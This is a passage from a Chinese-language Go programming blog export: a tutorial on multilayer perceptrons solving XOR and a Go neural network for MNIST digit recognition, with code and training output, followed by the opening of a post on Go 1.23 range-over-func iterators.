是权重向量，x是输入向量，b是偏置，f是激活函数，通常为阶跃函数或线性函数。\n单层感知器可以解决线性可分问题，即通过一条直线（在高维空间中是一个超平面）可以将数据分类的情况。例如，AND和OR逻辑门的输出可以通过一条直线分开，用下图可以直观地表示出来（参考《动手零基础机器学习》一书的图绘制)：\n但对于非线性的异或问题(XOR)，比如下图，无论我们用哪个线性函数所代表的直线都无法划分开，比如下面二维平面上的XOR问题：\n这就是单一感知器的局限。\n为了处理XOR等非线性问题，我们需要使用多层感知器（即包含一个或多个隐藏层的神经网络）。多层感知器（Multiple Layer Perceptron, MLP）能够解决单层感知器（即感知器）无法解决的非线性问题，主要是因为引入了非线性的隐藏层，从而扩展了模型的假设空间。 多层感知器通过增加一个或多个隐藏层，使得模型能够表示更复杂的函数。每一层中的神经元节点通过激活函数（例如 Sigmoid, ReLU 等）将输入映射到非线性空间。根据“通用近似定理”（Universal Approximation Theorem），一个包含足够数量的隐藏层和隐藏单元的多层感知器可以以任意精度逼近任何连续函数。这意味着MLP理论上可以学习和表示任何复杂的非线性关系。下图就是一个利用非线性关系解决XOR问题的示意图：\n接下来，我们就用多层感知器训练来得到一个可以解决XOR问题的模型。\n2.2 多层感知器解决XOR问题 说是多层感知器，但这个结构中并没有真正使用感知器的激活函数：阶跃函数。多层感知器中使用的是像sigmoid、ReLU等函数的激活函数，这些函数可以为感知器带来非线性。以下面的sigmoid函数为例：\n而它的函数图像如下：\n由sigmoid函数复合线性函数所构成的计算神经元被称为sigmoid神经元。sigmoid神经元与感知器之间的一个很大的区别是sigmoid神经元不仅仅输出0或1，它可以输出0到1之间的任何实数，0.173…和0.689…等都是合理的输出，这非常有用。sigmoid神经元被用于构建神经网络的隐藏层，并对输入进行变换。这些非线性函数将输入映射到更高维度的空间，使得在该空间中，数据可以通过非线性决策边界分开。此外，由于历史的原因，由sigmoid神经元而不是感知机构成的多层神经网络，但仍被称为多层感知器。\n下面我们就用一个利用sigmoid神经元构造隐藏层的神经网络来解决一下XOR问题，这个神经网络模型的结构示意图如下：\n这个神经网络的输入层有两个输入节点，分别对应XOR问题的两个输入。 中间是隐藏层，有两个隐藏节点，每个节点都接收来自所有输入节点的输入，并通过激活函数（Sigmoid 函数）进行处理。 输出层有一个输出节点，它接收来自所有隐藏层节点的输入，并通过激活函数（Sigmoid 函数）进行处理。\n注：从图中可以看到，上面的多层感知器(MLP)是一种全连接神经网络（Fully Connected Neural Network, FCNN）。全连接神经网络是指网络中的每一个神经元都与前一层的每一个神经元相连接。这种结构在每一层都完全连接，确保信息能够充分传递和组合。不过，全连接神经网络（FCNN）的定义比多层感知器（MLP）更为广泛，因此虽然所有的MLP都是FCNN，但并不是所有的FCNN都是MLP。MLP是一种特定的FCNN，具有明确的层次结构和用于监督学习的目标，而FCNN可以包含更广泛的模型，包括一些不符合传统MLP定义的结构和用途。\n下面是解决该XOR问题的MLP的训练和验证的Go代码，该示例仅仅用于展示一个包含足够数量的隐藏层和隐藏单元的多层感知器可以以任意精度逼近任何连续函数，即MLP理论上可以学习和表示任何复杂的非线性关系：\n// go-and-nn/ann/xor/main.go // Activation function (Sigmoid) func sigmoid(x float64) float64 { return 1.0 / (1.0 + math.Exp(-x)) } // Derivative of the sigmoid function func sigmoidDerivative(x float64) float64 { return x * (1.0 - x) } // MLP structure type MLP struct { inputLayer []float64 hiddenLayer []float64 outputLayer []float64 weightsInputHidden [][]float64 weightsHiddenOutput []float64 learningRate float64 } // Initialize the MLP func (mlp *MLP) Initialize(inputSize, hiddenSize, outputSize int, learningRate float64) { mlp.inputLayer = make([]float64, inputSize) mlp.hiddenLayer = make([]float64, hiddenSize) mlp.outputLayer = make([]float64, outputSize) mlp.weightsInputHidden = make([][]float64, inputSize) for i := 0; i \u0026lt; inputSize; i++ { mlp.weightsInputHidden[i] = make([]float64, hiddenSize) for j := 0; j \u0026lt; hiddenSize; j++ { mlp.weightsInputHidden[i][j] = randWeight() } } mlp.weightsHiddenOutput = make([]float64, hiddenSize) for i := 0; i \u0026lt; hiddenSize; i++ { mlp.weightsHiddenOutput[i] = randWeight() } mlp.learningRate = learningRate } // Forward pass func (mlp *MLP) Forward(inputs []float64) []float64 { // Input to Hidden for j := 0; j \u0026lt; len(mlp.hiddenLayer); j++ { mlp.hiddenLayer[j] = 0 for i := 0; i \u0026lt; len(mlp.inputLayer); i++ { mlp.hiddenLayer[j] += inputs[i] * mlp.weightsInputHidden[i][j] } mlp.hiddenLayer[j] = sigmoid(mlp.hiddenLayer[j]) } // Hidden to Output for k := 0; k \u0026lt; len(mlp.outputLayer); k++ { mlp.outputLayer[k] = 0 for j := 0; j \u0026lt; len(mlp.hiddenLayer); j++ { mlp.outputLayer[k] += mlp.hiddenLayer[j] * mlp.weightsHiddenOutput[j] } mlp.outputLayer[k] = sigmoid(mlp.outputLayer[k]) } return mlp.outputLayer } // Training using backpropagation func (mlp *MLP) Train(inputs [][]float64, targets [][]float64, epochs int) { for epoch := 0; epoch \u0026lt; epochs; epoch++ { for idx, input := range inputs { outputs := mlp.Forward(input) // Calculate output layer errors and deltas outputErrors := make([]float64, len(mlp.outputLayer)) outputDeltas := make([]float64, len(mlp.outputLayer)) for k := 0; k \u0026lt; len(mlp.outputLayer); k++ { outputErrors[k] = targets[idx][k] - outputs[k] outputDeltas[k] = outputErrors[k] * sigmoidDerivative(outputs[k]) } // Calculate hidden layer errors and deltas hiddenErrors := make([]float64, len(mlp.hiddenLayer)) hiddenDeltas := make([]float64, len(mlp.hiddenLayer)) for j := 0; j \u0026lt; len(mlp.hiddenLayer); j++ { hiddenErrors[j] = 0 for k := 0; k \u0026lt; len(mlp.outputLayer); k++ { hiddenErrors[j] += outputDeltas[k] * mlp.weightsHiddenOutput[j] } hiddenDeltas[j] = hiddenErrors[j] * sigmoidDerivative(mlp.hiddenLayer[j]) } // Update weights for Hidden to Output for j := 0; j \u0026lt; len(mlp.hiddenLayer); j++ { for k := 0; k \u0026lt; len(mlp.outputLayer); k++ { mlp.weightsHiddenOutput[j] += mlp.learningRate * outputDeltas[k] * mlp.hiddenLayer[j] } } // Update weights for Input to Hidden for i := 0; i \u0026lt; len(mlp.inputLayer); i++ { for j := 0; j \u0026lt; len(mlp.hiddenLayer); j++ { mlp.weightsInputHidden[i][j] += mlp.learningRate * hiddenDeltas[j] * input[i] } } } if epoch%1000 == 0 { error := 0.0 for i, input := range inputs { outputs := mlp.Forward(input) for k := 0; k \u0026lt; len(mlp.outputLayer); k++ { error += math.Pow(targets[i][k]-outputs[k], 2) } } fmt.Printf(\u0026#34;Epoch %d, Error: %f\\n\u0026#34;, epoch, error) } } } // Helper function to generate random weight func randWeight() float64 { return rand.Float64()*2 - 1 // Random weight between -1 and 1 } // Main function func main() { rand.Seed(time.Now().UnixNano()) inputs := [][]float64{ {0, 0}, {0, 1}, {1, 0}, {1, 1}, } targets := [][]float64{ {0}, {1}, {1}, {0}, } mlp := MLP{} mlp.Initialize(2, 2, 1, 0.1) // Increased hidden layer size to 2 mlp.Train(inputs, targets, 20000) // Increased epochs to 20000 fmt.Println(\u0026#34;Trained model parameters:\u0026#34;) fmt.Println(\u0026#34;Hidden Layer Weights:\u0026#34;, mlp.weightsInputHidden) fmt.Println(\u0026#34;Output Layer Weights:\u0026#34;, mlp.weightsHiddenOutput) fmt.Println(\u0026#34;\\nTesting the neural network:\u0026#34;) for _, input := range inputs { predicted := mlp.Forward(input) class := 0 if predicted[0] \u0026gt;= 0.5 { class = 1 } fmt.Printf(\u0026#34;Input: %v, Predicted: %v, Classified as: %d, Actual: %v\\n\u0026#34;, input, predicted, class, targets) } } 有了前面对神经网络训练原理作为基础，再理解这段示例代码就容易多了，只是这里多了一个隐藏层，代码将整个神经网络封装到一个名为MLP的类型中，该类型的Forward方法实现前向传播计算，通过输入层到隐藏层，再到输出层。Train方法实现反向传播训练，更新权重。输入和目标数据现在是二维数组，表示多条训练样本。在模型测试阶段，通过设置阈值0.5来将神经网络的输出值转化为分类结果，从而得到明确的分类结果。这种方法可以更准确地确定每个样本属于哪一类。\n我们运行一下该代码：\n$go run main.go Epoch 0, Error: 1.001896 Epoch 1000, Error: 0.996300 Epoch 2000, Error: 0.977860 Epoch 3000, Error: 0.881434 Epoch 4000, Error: 0.733544 Epoch 5000, Error: 0.607196 Epoch 6000, Error: 0.509769 Epoch 7000, Error: 0.434591 Epoch 8000, Error: 0.375748 Epoch 9000, Error: 0.328935 Epoch 10000, Error: 0.291102 Epoch 11000, Error: 0.260083 Epoch 12000, Error: 0.234317 Epoch 13000, Error: 0.212660 Epoch 14000, Error: 0.194264 Epoch 15000, Error: 0.178488 Epoch 16000, Error: 0.164841 Epoch 17000, Error: 0.152943 Epoch 18000, Error: 0.142496 Epoch 19000, Error: 0.133264 Trained model parameters: Hidden Layer Weights: [[6.5952517156621395 0.8739403187885498] [6.587550620852982 0.87284609499487]] Output Layer Weights: [15.12268364344881 -19.22613598232755] Testing the neural network: Input: [0 0], Predicted: [0.11387807762931963], Classified as: 0, Actual: [[0] [1] [1] [0]] Input: [0 1], Predicted: [0.8236051399161078], Classified as: 1, Actual: [[0] [1] [1] [0]] Input: [1 0], Predicted: [0.8229923791763072], Classified as: 1, Actual: [[0] [1] [1] [0]] Input: [1 1], Predicted: [0.22282071968348732], Classified as: 0, Actual: [[0] [1] [1] [0]] 我们看经过20000轮训练，我们得到了一组可以表示解决XOR问题的非线性关系的函数权重参数，经过验证，可以得到正确的预测结果。\n如果训练处的模型效果不好，我们可以调整超参，比如学习率、训练轮数，也可以修改隐藏层的神经元数量，比如从2改为4等。\n多层感知器的出现和应用引发了后续基于深度神经网络的深度学习革命，接下来我们就来用深度学习的一个“Hello, World”任务来入门一下深度神经网络。\n3. 手写数字识别：神经网络和深度学习的双料“Hello, World”任务 3.1 从多层感知器到深度神经网络 通过前面的学习，我们了解到感知器只能解决线性可分问题，而多层感知器通过增加隐藏层，可以处理非线性可分问题，例如上面的XOR问题。多层感知器通过多层结构和非线性激活函数，可以学习到更复杂的函数映射关系，从而提升模型的表现力。\n尽管MLP增加了网络的复杂性以及模型表现力，但在初期，由于缺乏有效的训练算法，训练深层网络(且是全连接网络)仍然面临巨大挑战。20世纪80年代，反向传播（Backpropagation）算法的提出解决了这一问题。反向传播通过计算损失函数相对于各层权重的梯度，并使用梯度下降法进行参数更新，使得训练深层网络成为可能。\n随着反向传播算法的成熟和计算资源的提升，研究者开始探索更深的神经网络结构，即深度神经网络（DNN）。DNN通常包含多个隐藏层，每层可以提取不同层次的特征，从而大幅提升模型的表示能力和预测精度。\n相对于MLP，深度网络在下面几个关键方面又做了改进：\n激活函数的改进：ReLU、Leaky ReLU、eLU等激活函数的引入有效缓解了梯度消失和梯度爆炸问题。 正则化技术：Dropout和Batch Normalization等技术的应用提高了深度网络的泛化能力和训练效率。 残差连接(residual connection)：真正解决梯度消失问题。它的基本思想是:在大型深度网络中(至少10层以上)，让前面某层的输出跨越多层直接输入至较靠后的层，形成神经网络中的捷径(shortcut)。这样，就不必担心过大的网络中梯度逐渐消失的问题了。 网络结构创新：研究者为特定类任务发明了卷积神经网络（CNN）和循环神经网络(RNN)，前者专为处理图像数据设计，具有局部连接和参数共享的特性，提高了计算效率和模型性能。而后者和长短期记忆网络（LSTM）一起专为处理序列数据设计，能够捕捉时间序列中的长依赖关系。 当然算法的进步离不开硬件的发展。GPU的崛起大大加速了大规模并行计算，使得训练深度神经网络变得切实可行。\n注：随着层数的增加，网络最终变得无法训练。神经网络梯度下降的原理是将来自输出损失的反馈信号反向传播到更底部的层。如果这个反馈信号的传播需要经过很多层，那么信号可能会变得非常微弱，甚至完全丢失，梯度无法传到的层就好比没有经过训练一样。这就是梯度消失。而梯度爆炸则是指神经元权重过大时，网络中较前面层的梯度通过训 练变大，而后面层的梯度呈指数级增大。梯度爆炸和梯度消失问题都是因为网络太深、网络权重更新不 稳定造成的，本质上都是梯度反向传播中的连锁效应。\n深度神经网络是一个较大的领域，这里仅打算用一个神经网络和深度学习的双料入门问题：手写数字识别任务来感受一下深度神经网络的威力。接下来，我们先来说说这是一个什么任务。\n3.2 手写数字识别任务介绍 在图灵奖得主杨立昆（Yann LeCun）的个人主页上，我们能看到对手写数字识别以及对应的公开数据集MNIST的介绍。\n手写数字识别任务是神经网络和深度学习领域中的经典入门任务之一。它不仅涵盖了基本的机器学习和深度学习技术，还提供了一个清晰、易理解的应用实例。\n手写数字识别任务旨在通过计算机自动识别手写数字图像中的数字。这项任务最常用的数据集是MNIST数据集，它包含了大量的手写数字图像及其对应的标签。MNIST数据集被广泛用于评估和比较不同的机器学习算法和模型。MNIST数据集包含60000张训练图像和10000张测试图像，每张图像都是28×28像素的灰度图，代表从0到9的手写数字。每个图像都被标注了一个对应的数字标签（0-9）。\n从杨立昆关于该任务的主页来看，这是一个时间跨度和方法跨度都很大的任务。从1998年使用线性分类器（一个单层神经网络）到2011和2012年的深度卷积神经网络，解决该问题的模型的数字识别精度也从80%多提升到97%以上。\n接下来，我们用一个多层MLP(简单全连接神经网络)来解决一下该问题。\n3.3 手写数字识别解决示例 下面是解决手写数字识别问题的神经网络结构的示意图：\n上图改自《深入浅出神经网络与深度学习》一书\n这依然是一个全连接神经网络，该网络有两个隐藏层和一个输出层，隐藏层的神经元个数分别为128个和64个(与图中的展示略有差异)，并且隐藏层使用的激活函数为ReLU。ReLU是一种常用的非线性激活函数，其定义如下:\nf(x) = max(0, x) 也就是如果输入x大于0，则输出为x本身；如果输入x小于等于0，则输出为0。ReLU计算复杂度很低，可以大大加快神经网络的训练速度。其引入的非线性使得神经网络能够拟合更复杂的函数。当输入大于0时，ReLU的导数恒为1，这有助于梯度的有效传播。\n输出层则用了一个Softmax函数，它是一种广泛用于多分类问题的激活函数。给定一个k维输入向量z = (z0, z1, …, zk)，Softmax函数的定义如下:\nSoftmax函数的输出是非负的且总和为1，因此可以被解释为概率分布。它还放大了较大值，抑制了较小值，使得输出更加”尖锐”。并且，它的导数简单，便于反向传播计算梯度。\n下面是手写数字识别的神经网络的训练和效果评估的实现：\n// go-and-nn/ann/handwritten-digit-recognition/main.go package main ... ... // DNN结构体定义 type DNN struct { inputSize int hiddenSize1 int hiddenSize2 int outputSize int learningRate float64 weights1 [][]float64 weights2 [][]float64 weights3 [][]float64 } // 激活函数和其导数 func relu(x float64) float64 { if x \u0026gt; 0 { return x } return 0 } func reluDerivative(x float64) float64 { if x \u0026gt; 0 { return 1 } return 0 } func softmax(x []float64) []float64 { expSum := 0.0 for i := range x { x[i] = math.Exp(x[i]) expSum += x[i] } for i := range x { x[i] /= expSum } return x } ... ... // 初始化权重 func initializeWeights(inputSize, outputSize int) [][]float64 { weights := make([][]float64, inputSize) for i := range weights { weights[i] = make([]float64, outputSize) for j := range weights[i] { weights[i][j] = rand.Float64()*2 - 1 } } return weights } // DNN结构体的方法 func (dnn *DNN) forward(input []float64) ([]float64, []float64, []float64) { hidden1 := make([]float64, len(dnn.weights1[0])) for i := range hidden1 { for j := range input { hidden1[i] += input[j] * dnn.weights1[j][i] } hidden1[i] = relu(hidden1[i]) } hidden2 := make([]float64, len(dnn.weights2[0])) for i := range hidden2 { for j := range hidden1 { hidden2[i] += hidden1[j] * dnn.weights2[j][i] } hidden2[i] = relu(hidden2[i]) } output := make([]float64, len(dnn.weights3[0])) for i := range output { for j := range hidden2 { output[i] += hidden2[j] * dnn.weights3[j][i] } } output = softmax(output) return hidden1, hidden2, output } func (dnn *DNN) train(images [][]float64, labels []int, epochs int) { for epoch := 0; epoch \u0026lt; epochs; epoch++ { totalLoss := 0.0 for i, input := range images { label := labels[i] // 前向传播 hidden1, hidden2, output := dnn.forward(input) // 计算损失和误差 target := make([]float64, dnn.outputSize) target[label] = 1.0 outputError := make([]float64, dnn.outputSize) for j := range output { outputError[j] = target[j] - output[j] totalLoss += 0.5 * (target[j] - output[j]) * (target[j] - output[j]) } hidden2Error := make([]float64, dnn.hiddenSize2) for j := range hidden2 { for k := range outputError { hidden2Error[j] += outputError[k] * dnn.weights3[j][k] } hidden2Error[j] *= reluDerivative(hidden2[j]) } hidden1Error := make([]float64, dnn.hiddenSize1) for j := range hidden1 { for k := range hidden2Error { hidden1Error[j] += hidden2Error[k] * dnn.weights2[j][k] } hidden1Error[j] *= reluDerivative(hidden1[j]) } // 反向传播和权重更新 for j := range dnn.weights3 { for k := range dnn.weights3[j] { dnn.weights3[j][k] += dnn.learningRate * outputError[k] * hidden2[j] } } for j := range dnn.weights2 { for k := range dnn.weights2[j] { dnn.weights2[j][k] += dnn.learningRate * hidden2Error[k] * hidden1[j] } } for j := range dnn.weights1 { for k := range dnn.weights1[j] { dnn.weights1[j][k] += dnn.learningRate * hidden1Error[k] * input[j] } } } fmt.Printf(\u0026#34;Epoch %d/%d, Loss: %f\\n\u0026#34;, epoch+1, epochs, totalLoss/float64(len(images))) } } func (dnn *DNN) predict(input []float64) int { _, _, output := dnn.forward(input) maxIndex := 0 for i := range output { if output[i] \u0026gt; output[maxIndex] { maxIndex = i } } return maxIndex } func (dnn *DNN) evaluate(images [][]float64, labels []int) float64 { correct := 0 for i, input := range images { prediction := dnn.predict(input) if prediction == labels[i] { correct++ } } return float64(correct) / float64(len(labels)) } // NewDNN 创建和初始化DNN func NewDNN(inputSize, hiddenSize1, hiddenSize2, outputSize int, learningRate float64) *DNN { return \u0026amp;DNN{ inputSize: inputSize, hiddenSize1: hiddenSize1, hiddenSize2: hiddenSize2, outputSize: outputSize, learningRate: learningRate, weights1: initializeWeights(inputSize, hiddenSize1), weights2: initializeWeights(hiddenSize1, hiddenSize2), weights3: initializeWeights(hiddenSize2, outputSize), } } func main() { rand.Seed(time.Now().UnixNano()) trainImages, err := loadMNISTImages(\u0026#34;train-images.idx3-ubyte\u0026#34;) if err != nil { fmt.Println(\u0026#34;Failed to load training images:\u0026#34;, err) return } trainLabels, err := loadMNISTLabels(\u0026#34;train-labels.idx1-ubyte\u0026#34;) if err != nil { fmt.Println(\u0026#34;Failed to load training labels:\u0026#34;, err) return } testImages, err := loadMNISTImages(\u0026#34;t10k-images.idx3-ubyte\u0026#34;) if err != nil { fmt.Println(\u0026#34;Failed to load test images:\u0026#34;, err) return } testLabels, err := loadMNISTLabels(\u0026#34;t10k-labels.idx1-ubyte\u0026#34;) if err != nil { fmt.Println(\u0026#34;Failed to load test labels:\u0026#34;, err) return } epochs := 10 learningRate := 0.01 dnn := NewDNN(28*28, 128, 64, 10, learningRate) dnn.train(trainImages, trainLabels, epochs) accuracy := dnn.evaluate(testImages, testLabels) fmt.Printf(\u0026#34;Model accuracy on test set: %.2f%\\n\u0026#34;, accuracy*100) } 我们看到这段代码的整体结构和之前的神经网络训练和验证代码差不多。数据加载这里没有贴出来，大家可以到代码库中自行阅读，数据读取完全按照MNIST数据集特征数据和标签数据文件的格式进行（这个格式在杨立昆的THE MNIST DATABASE of handwritten digits页面有介绍）。前向传播时，每个隐藏层神经元都是一个线性函数(省略偏置)+ReLU，输出层也是线性函数+Softmax函数。反向传播使用的损失函数也是均方差。\n超参中，学习率为0.01，轮次为10轮。训练后，用测试集验证模型权重，用输出层得到的数组中找到SoftMax后值最大的那个元素，其下标值即为手写数字的值。与测试集的标签比对后，确定预测是否正确。\n我们运行一下上述程序，这个过程需要花上几分钟：\n# go run main.go Epoch 1/10, Loss: 0.205671 Epoch 2/10, Loss: 0.080040 Epoch 3/10, Loss: 0.053254 Epoch 4/10, Loss: 0.042409 Epoch 5/10, Loss: 0.035353 Epoch 6/10, Loss: 0.030497 Epoch 7/10, Loss: 0.027139 Epoch 8/10, Loss: 0.023803 Epoch 9/10, Loss: 0.022004 Epoch 10/10, Loss: 0.020014 Model accuracy on test set: 95.17% 我们看到一次训练，我们训练出的模型在测试集的手写数字识别率就能达到95%以上。\n这里我们就不再对模型进行调优了。此外，手写数字识别任务的模型训练算法有太多种，使用更高级的深度学习算法以及并发加速训练过程的优化工作，在这篇入门文章中也不展开介绍了。\n4. 小结 关于基于深度神经网络解决手写数字识别问题的内容就说到这里了。\n在这篇文章中，我们先回顾了在上一篇文章中使用线性回归预测房价的方法，并指出线性回归模型也可以视为一种单层神经网络。通过对比线性回归模型与感知器的结构图，我们介绍了感知器这一早期的神经网络模型。感知器虽然能解决一些简单的二分类问题，但由于使用了阶跃函数作为激活函数，其解决问题的能力是有限的。\n接下来，我们将线性回归模型重新用神经网络的形式实现了一遍，通过这个过程加深了读者对单层神经网络的理解。这种过渡性的做法可以很好地引导大家从熟悉的线性模型平滑地切入到神经网络领域。\n之后，我们在前文的基础上，了解了感知器的不足，并了解了如何通过引入更多隐藏层的多层感知器解决“线性不可分”的XOR问题，进而来到深度神经网络。并结合深度学习中的经典的手写数字识别问题，看到了多层/深度神经网络的强大的非线性表示能力。\n在通往大模型理解的道路，我们又进了一步，虽然这里我们还没有介绍深度学习的一些高级算法，比如循环神经网络和卷积神经网络。\n有了多层深度神经网络这柄利器后，接下来我将和大家一起走近机器学习的一个重要分支：自然语言处理(NLP)，看看在NLP领域机器学习能解决哪些问题！\n本文涉及的源码可以在这里下载 – https://github.com/bigwhite/experiments/blob/master/go-and-nn/ann\n本文中的部分源码由OpenAI的GPT-4o生成。\n5. 参考资料 《科学之路》 – https://book.douban.com/subject/35560368/ 《图解深度学习》 – https://book.douban.com/subject/30221593/ 《Python深度学习(第二版)》 – https://book.douban.com/subject/36078304/ 鱼书《深度学习入门：基于Python的理论与实现》 – https://book.douban.com/subject/30270959/ 苹果书《深入浅出神经网络与深度学习》 – https://book.douban.com/subject/35128111/ 《人工智能：现代方法（第4版）》 – https://book.douban.com/subject/36152133/ 《零基础学机器学习》 – https://book.douban.com/subject/35264202/ 《动手学深度学习2nd-pytorch版》 – https://zh-v2.d2l.ai 《深度学习进阶：自然语言处理》 – https://book.douban.com/subject/35225413/ 《机器学习：Go语言实现》 – https://book.douban.com/subject/30457083/ 《深度学习入门2：自制框架》 – https://book.douban.com/subject/36303408/ Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/06/28/go-and-nn-part3-handwritten-digit-recognition/","summary":"\u003cp\u003e\u003cimg alt=\"Image 55\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-and-nn-part3-handwritten-digit-recognition-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/06/28/go-and-nn-part3-handwritten-digit-recognition\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/06/28/go-and-nn-part3-handwritten-digit-recognition\"\u003ehttps://tonybai.com/2024/06/28/go-and-nn-part3-handwritten-digit-recognition\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在上一篇文章《\u003ca href=\"https://tonybai.com/2024/06/10/go-and-nn-part2-linear-regression/\"\u003eGo与神经网络：线性回归\u003c/a\u003e》中，我们借由传统的机器学习方法：线性回归解决了房价预测问题。按照我初步设想的从传统机器学习到\u003ca href=\"https://en.wikipedia.org/wiki/Large_language_model\"\u003e大语言模型\u003c/a\u003e的学习路线，是时候在这一篇中切换到学习\u003cstrong\u003e神经网络\u003c/strong\u003e了。\u003c/p\u003e\n\u003ch2 id=\"1-从线性回归到神经网络\"\u003e1. 从线性回归到神经网络\u003c/h2\u003e\n\u003cp\u003e我们已经知道了如何使用多元线性函数构成的线性回归模型预测房价，其实\u003cstrong\u003e线性模型也可以看作是一个神经网络\u003c/strong\u003e。我们在上一篇文章中使用的假设函数如下图：\u003c/p\u003e","title":"Go与神经网络：手写数字识别"},{"content":"\n本文永久链接 – https://tonybai.com/2024/06/24/range-over-func-and-package-iter-in-go-1-23\n在《Go 1.23新特性前瞻》一文中，我们提到了Go 1.23中增加的一个主要的语法特性就是支持了用户自定义iterator，即range over func试验特性的正式转正。为此，Go 1.23还在标准库中增加了iter包，这个包对什么是Go自定义iterator做了诠释：\nAn iterator is a function that passes successive elements of a sequence to a callback function, conventionally named yield. The function stops either when the sequence is finished or when yield returns false, indicating to stop the iteration early. 迭代器是一个函数，它将一个序列中的连续元素传递给一个回调函数，通常称为\u0026#34;yield\u0026#34;。迭代器函数会在序列结束或者yield回调函数返回false(表示提前停止迭代)时停止。 除此之外，iter包还定义了标准的iterator泛型类型、给出了有关iterator的命名惯例以及在迭代中修改序列中元素的方法等，这些我们稍后会细说。\n不过就在Go 1.23还有两个月就要发布之际，Go社区却出现了对Go iterator的质疑之声。\n先是知名开源项目fasthttp作者、时序数据库VictoriaMetrics贡献者Aliaksandr Valialkin撰文谈及Go iterator引入给Go带来复杂性的同时，还破坏了Go的显式哲学，并且并未真的带来额外的好处，甚至觉得Go正朝着错误的方向演进，希望Go团队能revert Go 1.23中与iterator有关的代码。\n注：第319期GoTime播客也在聊“Is Go evolving in the wrong direction?”这个话题，感兴趣的Gopher可以听一下。\n之后，Odin语言的设计者站在局外人的角度，从语言设计层面谈到了为什么人们憎恨Go 1.23的iterator，该文章更是在Hacker News上引发热议。\n那么到底Go 1.23中的自定义iterator和iter包带给Go社区的是强大的功能特性和表达力的提升，还是花哨不实用的复杂性呢？这里我也不好轻易下结论，我打算通过这篇文章，和大家一起全面地认识一下Go iterator。最终对iterator的是非曲直的判断还是由各位读者自行得出。\n1. 开端 能找到的与最终Go iterator相关的最早的issue来自Go团队成员Michael Knyszek在2021年发起的issue：Proposal: Function values as iterators。\n之后，2022年8月，Ian Lance Taylor发起了名为“standard iterator interface”的discussion作为Michael Knyszek发起的issue的后续。\n最后，Go团队技术负责人Russ Cox在2022年10月份发起了针对iterator的最后一次讨论，在这次讨论中，Go团队初步完成了iterator的设计思路。此外，在该讨论的开场白处，Russ Cox还概述了Go为什么要增加对用户自定义iterator的支持：\n总结下来就是Russ发现Go标准库中有很多库（如上截图）中都有迭代器的实现，但形式不统一，没有标准的“实现路径”，各自为战。这与Go面向工程的目标有悖，现状阻碍了大型Go代码库中的代码迁移。因此，Go团队希望给大家带来一致的迭代器形式，具体来说就是允许for range支持对一定类型函数值(function value)进行迭代，即range over func。\n2024年2月，iterator以试验特性被Go 1.22版本引入，通过GOEXPERIMENT=rangefunc可以开启range-over-func特性以及使用iter包。\n在golang.org/x/exp下面，Go团队还提议维护一个xiter包，这个包内提供了用于组合iterator的基本适配器(adapter)，不过目前该xiter包依旧处于proposal状态，尚未落地。\n2024年8月，iterator将伴随Go 1.23版本正式落地，现在我们可以通过Go playground在线体验iterator，当然你也可以安装Go tip版本或Go 1.23的rc版在本地体验。\n注：关于Go tip的安装方法以及Go playground在线体验的详细说明，这里就不赘述了，《Go语言第一课》专栏的“03｜配好环境：选择一种最适合你的Go安装方法”有系统全面的讲解，欢迎订阅阅读。\n2. 形式 在Go tip版的Go spec中，我们可以看到下面for range的语法形式，其中下面红框中的三行是for range接自定义iterator的形式：\n如果f是一个自定义迭代器，那么上图中红框中的三种情况分别对应的是下面的三类for range语句形式：\n第一类：function, 0 values, f的签名为func(func() bool) for range f { ... } 第二类：function, 1 value，f的签名为func(func(V) bool) for x := range f { ... } 第三类：function, 2 values，f的签名为func(func(K, V) bool) for x, y := range f { ... } for x, _ := range f { ... } for _, y := range f { ... } 我们可以看一个实际的应用上述三类迭代器的示例：\n// go-iterator/iterator_spec.go // https://go.dev/play/p/ffxygzIdmCB?v=gotip package main import ( \u0026#34;fmt\u0026#34; \u0026#34;slices\u0026#34; ) type Seq0 func(yield func() bool) func iter0[Slice ~[]E, E any](s Slice) Seq0 { return func(yield func() bool) { for range s { if !yield() { return } } } } var sl = []int{1, 2, 3, 4, 5, 6, 7, 8, 9} func main() { // 1. for range f {...} count := 0 for range iter0(sl) { count++ } fmt.Printf(\u0026#34;total count = %d \u0026#34;, count) fmt.Printf(\u0026#34;\\n\\n\u0026#34;) // 2. for x := range f {...} fmt.Println(\u0026#34;all values:\u0026#34;) for v := range slices.Values(sl) { fmt.Printf(\u0026#34;%d \u0026#34;, v) } fmt.Printf(\u0026#34;\\n\\n\u0026#34;) // 3. for x, y := range f{...} fmt.Println(\u0026#34;backward values:\u0026#34;) for _, v := range slices.Backward(sl) { fmt.Printf(\u0026#34;%d \u0026#34;, v) } } 在这个示例中，我在slices包中找到了Values和Backward两个函数，它们分别返回的是第二类和第三类的迭代器。针对第一类迭代器，在Russ Cox最初的设计中是有对应的，即一个名为Seq0的类型，但后续在iter包中，该类型并未落地。于是我们在上面示例中自己定义了这个类型，并定义了一个iter0的函数用于返回Seq0类型的迭代器。不过实际想来，使用到Seq0这个形式的迭代器的场景似乎极少。\n运行上述示例，我们将得到如下结果：\ntotal count = 9 all values: 1 2 3 4 5 6 7 8 9 backward values: 9 8 7 6 5 4 3 2 1 我们看到，在使用层面，通过for 